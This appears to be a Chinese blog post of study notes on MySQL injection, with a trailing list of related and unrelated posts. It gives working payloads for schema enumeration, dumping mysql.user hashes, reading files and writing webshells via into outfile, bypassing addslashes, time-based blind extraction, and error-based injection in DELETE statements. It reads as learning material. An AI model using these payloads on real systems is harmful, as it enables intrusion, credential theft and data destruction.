再次学习sql注入
爆所有数据库
select schema_name from information_schema.schemata
先爆出多少个字段 id = 1 order by ?;
mysql5.0及以上 都有一个information_scheam这个数据库
informatino_schema 数据库
information_scheama 下面的表(tables) 存放的一些字段 比较有用
所以从information_schema.tables where table_schema = '数据库名';
比如是从一个information_schema里面先查到一个数据库,那么我们就需要
select * from information_schema;
1.获取所有字段
2.获取数据库的列名
select table_schema from information_schema.tables;
获取指定数据库下面的表名;
例如,获取rest里面的所有表名
select table_name from information_schema.tables where table_schema = 'rest';
获取表名里面的字段
select column_name from information_schema.columns where table_name = 'tag';
此方法有可能会查到其他库中的表
思考:
既然information_schema.columns和information_schema.tables 里面既然可以是查到column,那么直接从information_schema.columns查找不就可以了,为什么非要用information_schema.tables里面查数据库 数据表?
答案:
仔细从information_schema.tables 和 information_schema.columns 分别查查 ,或者对应着看数据库就可以了
判断是从mysql还是从access
and (select count() from sysobjects)>0 mssql
and (select count() from msysobjects)>0 access
高权限操作
查看所有用户
select user() from "随便一个数据表"; 查看所有的账号,没有密码
select * from mysql.user; 里面的密码是用md5进行加密的,拿去cmd5解密就可以了
查看系统的版本
select version() from "随便一个数据表";
查看当前系统;
select @@version_compile_os from admin;
load_file 读取文件
select load_file('路径名');
windows要注意斜杠线 如果直接在桌面的bbs.txt文件右击属性的话 会显示 C:\Users\Desktop\bbb.txt,但是Mysql在进行查询的时候要转换成
select load_file('C:/Users/Desktop/bbb.txt') from admin;
into_outfile 写入文件跟读取文件一样,一般都是写入一句话木马
select '12' into outfile select '12' into outfile 'C:/Users/75143/Desktop/bbb111111.txt';;
注意在写入或者读取的时候,因为网站会自动进行解析,所以最好都是用十六进制转换,但是Mysql在进行十六进制转换的时候会自动加上引号
比如把select '12' into outfile 'C:/Users/Desktop/bbb111111.txt'转换成十六进制就是0x27433a2f55736572732f4465736b746f702f6262623131313131312e74787427
写入文件 在操作之前是要知道运行文件的路径
如何知道:
1.报错显示
2.谷歌语法 比如 inurl:edu.cn warnging
3.读取搭建平台的配置文件 比如apache目录下的conf里面的vhosts.conf 就存放着这个网站的配置信息
4.漏洞报错 比如搜索:phpcms 爆路径
5.遗留文件 类似于phpinifo.php 和install的说明 inurl: phpinfo.php(超级有用啊)
6.字典爆破
高权限体现
网站A无注入点,网站B有注入点,网站A和B是同一家企业,如果拿到了网站B的数据库,可能网站A的数据库也就拿下了,因为一个企业可能布置在同一个mysql下,还是database()来实现看到是哪个数据库
要注意指定相应的数据库
SQL防护函数
magic_quote_gpc = OFF
安全函数 addslashes
如果有这两个函数,经过这函数的单引号、双引号、反斜杠、NULL等都会被加上
思考如何绕过?
十六进制编码或者宽字节注入 记得加转换的数据要进行0x 哈哈哈
十六进制编码在哪使用??
待解答.......
请求方式注入
get 注入 就是常见的在http里面通过get的方式进行传输
post 注入 一般都是登录的时候 进行post注入,这样的注入不易被人查觉到,能做到降低一定的危险
cookie 注入 用burp 里面改包试试,还没有遇见过cookie 注入
干扰:
单引号 ,可能有这个报错注入
原语句:SELECT * FROM users WHERE id='$id' LIMIT 0,1
输入id =1' 之后产生
you have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
绕过:主要是LIMIT 0,1' ,这个单引号没有闭合,那么我们只需要闭合单引号 and '1' = '1 就会拼接成 select xxx from xxx where id ='x' limit and '1' = '1'
或者把最后的单引号给注释掉 最常见的是 --+ 和 # /*
最喜欢报错注入,不喜欢盲注
http头注入
有的数据库会以http头中的某个数据来进行查询(说着就有点蹩脚...)
比如根据UA头显示不同的数据,那么我们如果是通过burp来抓到包之后就可以跑了,具体的还是用工具跑一遍把,要不然就麻烦了
$SERVER 来实现看到某个ip的访问数据
显示当前的访问ip
https://www.cnblogs.com/rendd/p/6182918.html
参数类型注入:
因为mysql注入的时候也会区分是数值还是字符串注入,所以在注入的时候需要进行区分下
搜索型 是用的like 通配符 比如说是select * from user where username like '%1%'
这个时候闭合的就是单引号和%
闭合方式: select * from user where username = '%1%' union select 1,2,3'%%#'这样的方式进行闭合
% 和单引号闭合的类似,就在单引号后面加上一个%
数字 没有单引号进行干扰
字符 一般都是需要在查询的时候加上单引号 比如select * from user where username = 'hhh'; 和 select * from user where username = hhh ; 第二个select 会报错,Mysql把这个hhh当成了列名来进行执行的
参数加密注入
$id = base64_encode($_GET['x']); 在id = 1 这里进行接受的时候将1进行base64进行编码,防止别人看出来,然后下面再把1 进行base64_decode 进行解码
则查询的时候就变成了select * from user where id = 1;
盲注
一般没有加函数的注入都是属于盲注,特点:速度快,兼容性差
盲注:速度慢,兼容性好
时间盲注:
sleep函数()
比如select * from user where id = 1 and sleep(5);
如果id = 1存在,那么我们会看到时间延迟5秒中,具体的在Mysql中结果是 Empty set (5.00 sec)
如果id = 1000 不存在,那么select * from user where id = 1000 and sleep(5); 结果就是Empty set (0.00 sec)
if 函数 如果判断1=2为真执行3,假则执行5
select if (1=2,3,5);
mid 函数
mid(str,index,ken) //截取str 从index开始,截取len的长度
比如这样
select mid(username,2,3) from admin where id = 1;
ord 函数
ord() 函数返回字符串第一个字符的 ASCII 值
select ord('a');
if 和 sleep 连用
select * from admin where id = 1 and sleep(if((select database()='rest'),0,5));
先用sleep里面再加入select database() = 'rest',这个就是比较好,如果database() = rest 就不延迟,否则就延迟5秒
database() = rest Empty set (0.00 sec)
database() != rest Empty set (5.00 sec)
length() 里面字段可以变成数字
比如select length(database());
结果:
+--------------------+
| length(database()) |
+--------------------+
| 4 |
+--------------------+
1 row in set (0.00 sec)
获取表名:
先获取表明长度
select sleep(if(length(table_name)=5,0,5)) from information_schema.tables where table_schema =database() limit 0,1;
进一步判断表名
通过字符
select sleep(if(mid(table_name,1,1)='a',0,5)) from information_schema.tables where table_schema = 'test' limit 0,1;
通过ascii 利用的ascii
select sleep(if(ord(mid(table_name,1,1))=97,0,5)) from information_schema.tables where table_schema = 'test' limit 0,1;
limit 的使用
使用limit可以使找到的有几张数据表,limit 0 ,1 就是第从0 开始到1的一张数据表 limit 0,2就是2张
盲注最好是写个脚本进行跑,要不然很麻烦
这种操作是先判断length()中的table_name的值是否是5,理解table_name length if sleep的连用
爆列表和字段就写了
insert 4种注入 一般拿到源码或者知道sql语句的时候 才能手注试试
insert update delete limit 注入
利用updatexml()获取数据库
利用extravalue()获取数据
利用name_const()获取数据
利用子查询注入获取数据
用户注册(insert) 密码修改(update) 信息删除(delete)
delete from admin where id =1 or updatexml(1,concat(0x7e,(version())),0);
属于报错注入,并且这种注入都是真正删除数据的
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40'
delete from admin where id =1 or updatexml(1,concat(0x3a,(select user())),1);
查询user
ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'
参考:https://xz.aliyun.com/t/3992
https://xz.aliyun.com/t/5505
再次学习sql注入的更多相关文章
- web安全学习(sql注入1)
web安全学习(sql注入1) 一.简介 sql语句就是数据库语句,而sql注入就是用户将自己构造的恶意sql语句提交,然后服务器执行提交的危险语句.sql注入可能造成信息泄露以及服务器被控制等危害. ...
- WebGoat学习——SQL注入(SQL Injection)
SQL注入(SQL Injection) 所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令.攻击者通过web请求提交带有影响正 ...
- 通过sqli-labs学习sql注入——基础挑战之less1
环境准备: Phpstudy (PHP+Apache+Mysql) Sql-lab 首先了解下基础知识: URL编码: 因为在浏览器中,当我们访问一个网址的时候,浏览器会自动将用户输入的网址进行UR ...
- 学习SQL注入---1
开始接触SQL注入了,最开始根据网上的思路做了两道注入的题,但对于SQL注入如何实现,怎么一个流程还是不理解.后来,在网上查找了很多资料,现在一点点去理解. 1.利用sqlmap注入的时候,不是所有页 ...
- 通过sqli-labs学习sql注入——基础挑战之less1-3
首先,先看一些基础知识吧!!!!本人只是初学者,记录一下自己的学习过程,有什么错误之处请指出,谢谢!大佬请绕过!!!! url编码:一般的url编码其实就是那个字符的ASCII值得十六进制,再在前面加 ...
- 2019-9-10:渗透测试,基础学习,sql注入笔记
sql注入1,万能密码,自己写的网站,找到登录窗口,必须和数据库交互,往里插入构造的恶意代码,最后可以直接登录进去,不需要账号和密码,输入的恶意代码成为万能密码,后端拼接的sql语句,SELECT * ...
- Burosuite抓包Sqlmap学习Sql注入
在sqlmap中加入--proyxy参数: --proxy "http://127.0.0.1:8080" 如下图所示: 回车以后sqlmap会自动抓到数据包: 我们选择向前(fo ...
- 10年前,我就用 SQL注入漏洞黑了学校网站
我是风筝,公众号「古时的风筝」,一个兼具深度与广度的程序员鼓励师,一个本打算写诗却写起了代码的田园码农! 文章会收录在 JavaNewBee 中,更有 Java 后端知识图谱,从小白到大牛要走的路都在 ...
- SQL注入测试平台 SQLol -1. 简介与安装
最近下载了SQLol测试了一下,感觉挺好玩的,做一下记录. SQLol是一个可配置得SQL注入测试平台,它包含了一系列的挑战任务,让你在挑战中测试和学习SQL注入语句,SQLol还是比较有创意的项目. ...
随机推荐
- 它是世界上最好的语言,吊打PHP那种
Scratch Scratch是麻省理工媒体实验室终身幼稚园组开发的一套电脑程序开发平台,旨在让程序设计语言初学者不需先学习语言语法便能设计产品.开发者期望通过学习Scratch,启发和激励用户在愉快 ...
- 2. Hive常见操作命令整理
该笔记主要整理了<Hive编程指南>中一些常见的操作命令,大致如下(持续补充中): 1. 查看/设置/修改变量2. 执行命令3. 搜索相关内容4. 查看库表信息5. 创建表6. 分区7. ...
- linux nf_conntrack 连接跟踪机制 3-hook
conntrack hook函数分析 enum nf_ip_hook_priorities { NF_IP_PRI_FIRST = INT_MIN, NF_IP_PRI_CONNTRACK_DEFRA ...
- MySQL视图详细介绍
前言: 在MySQL中,视图可能是我们最常用的数据库对象之一了.那么你知道视图和表的区别吗?你知道创建及使用视图要注意哪些点吗?可能很多人对视图只是一知半解,想详细了解视图的同学看过来哟,本篇文章会详 ...
- Android 架构组件-Lifecycle、LiveData、ViewModel
Lifecycle Lifecycle组件包括LifecycleOwner.LifecleObserver,能方便监听Activity或者Fragment的生命周期. 步骤: 1.实现Lifecycl ...
- 这才是图文并茂:我写了1万多字,就是为了让你了解AQS是怎么运行的
前言 如果你想深入研究Java并发的话,那么AQS一定是绕不开的一块知识点,Java并发包很多的同步工具类底层都是基于AQS来实现的,比如我们工作中经常用的Lock工具ReentrantLock.栅栏 ...
- 手写一个最迷你的Web服务器
今天我们就仿照Tomcat服务器来手写一个最简单最迷你版的web服务器,仅供学习交流. 1. 在你windows系统盘的F盘下,创建一个文件夹webroot,用来存放前端代码. 2. 代码介绍: ( ...
- linux之DHCP服务
1.DHCP介绍(动态主机配置协议) DHCP(Dynamic Host Configuration Protocol,动态主机配置协议)是一个局域网的网络协议, 主要用途:给内部网络或网络服务供应 ...
- Vue.js自定义标签属性并获取属性,及绑定img的src属性的坑
一.定义属性: 一般定义属性都是为了动态的去获取属性的值,或者动态的设置属性的值,如果想仅仅是设置一个普通的属性,直接在便签上设置属性即可,就像使用html的title.name等属性一样,如< ...
- 画echart图时,安卓手机正常,苹果手机上tooltip 在坐标轴下一层
问题: 解决: 在tooltip 中添加如下代码: tooltip:{ position:function(point, params , dom, rect, size){ dom.style.tr ...